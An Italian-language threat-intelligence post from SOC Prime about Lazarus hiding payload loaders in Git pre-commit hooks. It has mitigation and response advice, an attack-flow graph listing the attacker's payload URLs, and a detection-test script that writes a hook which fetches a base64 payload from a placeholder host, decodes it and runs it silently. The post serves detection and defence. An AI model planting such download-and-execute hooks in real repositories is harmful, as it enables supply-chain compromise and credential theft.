SOC Prime Bias: Critico

13 Mag 2026 21:59

Il Gruppo Lazarus Usa Git Hooks per Nascondere Malware: L’intervista pericolosa della RDPC e la campagna TaskJacker stanno ora nascondendo il loro caricatore di secondo stadio all’interno di git hooks che scaricano i malware InvisibleFerret e Beavertail

Author Photo
Ruslan Mikhalov Capo della Ricerca sulle Minacce presso SOC Prime linkedin icon Segui
Il Gruppo Lazarus Usa Git Hooks per Nascondere Malware: L’intervista pericolosa della RDPC e la campagna TaskJacker stanno ora nascondendo il loro caricatore di secondo stadio all’interno di git hooks che scaricano i malware InvisibleFerret e Beavertail
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riassunto

Il gruppo nordcoreano Lazarus ha aggiornato la sua campagna Contagious Interview e TaskJacker incorporando un meccanismo di consegna di seconda fase all’interno di Git dannosi pre-commit and post-checkout hook. Questi hook recuperano silenziosamente payload specifici per la piattaforma da un URL ospitato su Vercel ed eseguono tali payload su sistemi macOS, Linux e Windows. Sfruttando i flussi di lavoro affidabili degli sviluppatori e degli strumenti di repository, gli attaccanti trasformano attività di codifica di routine in un vettore di compromissione della supply chain che può portare al furto di credenziali e alla compromissione di portafogli di criptovalute. Gli indicatori chiave includono il dannoso .githooks/pre-commit script e infrastruttura ospitati su precommit.vercel.app.

Indagine

I ricercatori di OpenSourceMalware hanno identificato un compatto .githooks/pre-commit script che rileva il sistema operativo della vittima e scarica il payload appropriato da precommit.vercel.app usando curl or wget. Lo stesso hash dello script è apparso in diversi repository GitHub mascherati da progetti di valutazione del codice legati a temi crypto e DeFi. L’infrastruttura ha servito diversi payload shell o batch a seconda del sistema operativo, controllati tramite un parametro di query a flag. I ricercatori hanno anche condiviso le query di ricerca di codice GitHub che possono essere utilizzate per riprodurre la ricerca e individuare repository simili.

Mitigazione

Le organizzazioni dovrebbero esaminare attentamente gli hook dei repository Git, specialmente i file sotto .githooks, .husky, e .vscode/tasks.json, prima di consentirne l’esecuzione. Gli sviluppatori dovrebbero clonare e testare repository non attendibili solo in ambienti isolati che non contengano chiavi SSH, file di portafogli o profili di browser attivi. L’esecuzione automatica degli hook Git dovrebbe essere disabilitata ove possibile o limitata a script approvati. I team di sicurezza dovrebbero anche monitorare il traffico in uscita verso precommit.vercel.app e domini simili che potrebbero supportare la consegna di payload dannosi.

Risposta

I difensori dovrebbero bloccare la comunicazione di rete con precommit.vercel.app e creare un monitoraggio dell’integrità dei file per file inaspettati .githooks/pre-commit . Gli avvisi dovrebbero essere attivati anche quando curl or wget viene eseguito da processi correlati agli hook Git. Ogni credenziale, token o portafoglio di criptovalute potenzialmente esposti dovrebbe essere indagato e ruotato immediatamente. La caccia alle minacce dovrebbe essere ampliata utilizzando gli indicatori forniti per identificare i repository colpiti e qualsiasi sistema che abbia interagito con essi.

"graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#c2e0ff classDef artifact fill:#e6e6e6 classDef action fill:#ffd9b3 %% Nodes u2013 Actions action_clone["<b>Azione</b> – La vittima clona il repository dannoso<br/><b>Descrizione</b>: Scarica codice contenente un hook Git dannoso."] class action_clone action action_commit["<b>Azione</b> – La vittima esegue <code>git commit</code><br/><b>Descrizione</b>: Attiva automaticamente l’hook preu2011commit."] class action_commit action %% Nodes u2013 Artifacts artifact_repo["<b>Artefatto</b> – Repository Git dannoso<br/><b>Dettagli</b>: Fornisce materiale fittizio per l’intervista di valutazione del codice."] class artifact_repo artifact artifact_hook["<b>Artefatto</b> – Script .githooks/preu2011commit<br/><b>Dettagli</b>: Eseguito automaticamente su ogni <code>git commit</code>."] class artifact_hook artifact artifact_urls["<b>Artefatto</b> – URL dei payload remoti<br/><b>Dettagli</b>: https://precommit.vercel.app/settings/mac?flag=5<br/>https://precommit.vercel.app/settings/linux?flag=5<br/>https://precommit.vercel.app/settings/windows?flag=5"] class artifact_urls artifact %% Nodes u2013 Techniques tech_supply_chain["<b>Tecnica</b> – T1195: Comprimari della Supply Chain<br/><b>Descrizione</b>: Gli avversari compromettono una supply chain di software di terze parti per distribuire codice dannoso alle vittime."] class tech_supply_chain technique tech_dependency["<b>Tecnica</b> – T1195.001: Compromissione di Dipendenze Software e Strumenti di Sviluppo<br/><b>Descrizione</b>: Bersagliare le dipendenze software o gli strumenti di sviluppo per incorporare codice dannoso."] class tech_dependency technique tech_proxy_exec["<b>Tecnica</b> – T1127: Esecuzione tramite Proxy di Utilità di Sviluppatori Affidabili<br/><b>Descrizione</b>: Usare utilità di sviluppatore affidabili (es. Git hooks) per eseguire codice controllato dall’attaccante."] class tech_proxy_exec technique tech_unix_shell["<b>Tecnica</b> – T1059.004: Interprete di Comandi e Script u2013 Shell Unix<br/><b>Descrizione</b>: Eseguire comandi tramite un interprete shell Unix."] class tech_unix_shell technique tech_user_exec["<b>Tecnica</b> – T1204.004: Esecuzione Utente u2013 Copia e Incolla Maliziosa<br/><b>Descrizione</b>: La vittima esegue codice dannoso non intenzionalmente tramite azioni di copia e incolla."] class tech_user_exec technique tech_taint["<b>Tecnica</b> – T1080: Contaminazione di Contenuti Condivisi<br/><b>Descrizione</b>: Integrare contenuti dannosi in risorse condivise che vengono successivamente eseguite dalle vittime."] class tech_taint technique tech_content_injection["<b>Tecnica</b> – T1659: Iniezione di Contenuti<br/><b>Descrizione</b>: Inserire contenuto dannoso nei file legittimi o nei flussi di dati."] class tech_content_injection technique %% Nodes u2013 Tools tool_git["<b>Strumento</b> – Git<br/><b>Descrizione</b>: Sistema di controllo versione che esegue script di hook sugli eventi di repository."] class tool_git tool tool_curl["<b>Strumento</b> – curl / wget<br/><b>Descrizione</b>: Scarica contenuti remoti tramite HTTP/HTTPS."] class tool_curl tool tool_sh["<b>Strumento</b> – /bin/sh<br/><b>Descrizione</b>: Interprete shell utilizzato per eseguire payload scaricati."] class tool_sh tool %% Connections u2013 Attack Flow action_clone –>|consegna| artifact_repo artifact_repo –>|abilita| tech_supply_chain tech_supply_chain –>|facilita| tech_dependency tech_dependency –>|posiziona| artifact_hook action_commit –>|attiva| artifact_hook artifact_hook –>|sfrutta| tech_proxy_exec tech_proxy_exec –>|esegue tramite| tool_git tool_git –>|invoca| tech_unix_shell tech_unix_shell –>|usa| tool_curl tool_curl –>|scarica| artifact_urls artifact_urls –>|fornisce a| tech_taint tech_taint –>|conduce a| tech_content_injection tech_content_injection –>|esegue tramite| tool_sh tool_sh –>|esegue payload dannoso| tech_user_exec "

Flusso d’attacco

Esecuzione di Simulazione

Prerequisito: Il Controllo Prevolo di Telemetria & Baseline deve essere superato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e il racconto DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta attesa dalla logica di rilevamento.

  • Narrativa d’Attacco e Comandi:
    Un operatore del gruppo Lazarus compromette la workstation di uno sviluppatore e inietta un hook pre-commit Git dannoso. L’hook è collocato in una directory nascosta “.githooks” per evitare la scoperta casuale. Quando qualsiasi git commit viene eseguito, l’hook contatta silenziosamente un server C2, scarica un payload codificato base64, lo scrive su /tmp/.payload, lo rende eseguibile e lo esegue, stabilendo così un punto d’appoggio (T1620) ed eseguendo un payload dannoso incorporato (T1027.009).

  • Script di Test di Regressione:

    #!/bin/bash
    # -------------------------------------------------
    # Test di hook pre-commit git dannoso in stile Lazarus
    # -------------------------------------------------
    
    # 1. Crea la directory nascosta .githooks
    mkdir -p "$HOME/.githooks"
    
    # 2. Scrivi hook pre-commit dannoso
    cat > "$HOME/.githooks/pre-commit" <<'EOF'
    #!/bin/bash
    # Hook pre-commit dannoso – scarica ed esegue payload
    C2_URL="http://malicious.example.com/payload.b64"
    TMPFILE="/tmp/.payload"
    
    # Scarica payload base64
    curl -s -o "$TMPFILE.b64" "$C2_URL"
    # Decodifica e imposta eseguibile
    base64 -d "$TMPFILE.b64" > "$TMPFILE"
    chmod +x "$TMPFILE"
    # Esegui payload silenziosamente
    "$TMPFILE" &
    exit 0
    EOF
    
    # 3. Rendi l'hook eseguibile
    chmod +x "$HOME/.githooks/pre-commit"
    
    # 4. Simula un git commit per attivare l'hook
    mkdir -p "$HOME/malicious-repo"
    cd "$HOME/malicious-repo"
    git init > /dev/null 2>&1
    touch README.md
    git add README.md
    git commit -m "Commit iniziale" > /dev/null 2>&1
    
    echo "Hook pre-commit dannoso eseguito (se il rilevamento funziona, dovrebbe apparire un avviso)."
  • Comandi di Ripristino:

    #!/bin/bash
    # Rimuovi artefatti dannosi
    rm -rf "$HOME/.githooks"
    rm -f "/tmp/.payload" "/tmp/.payload.b64"
    rm -rf "$HOME/malicious-repo"
    echo "Pulizia completata."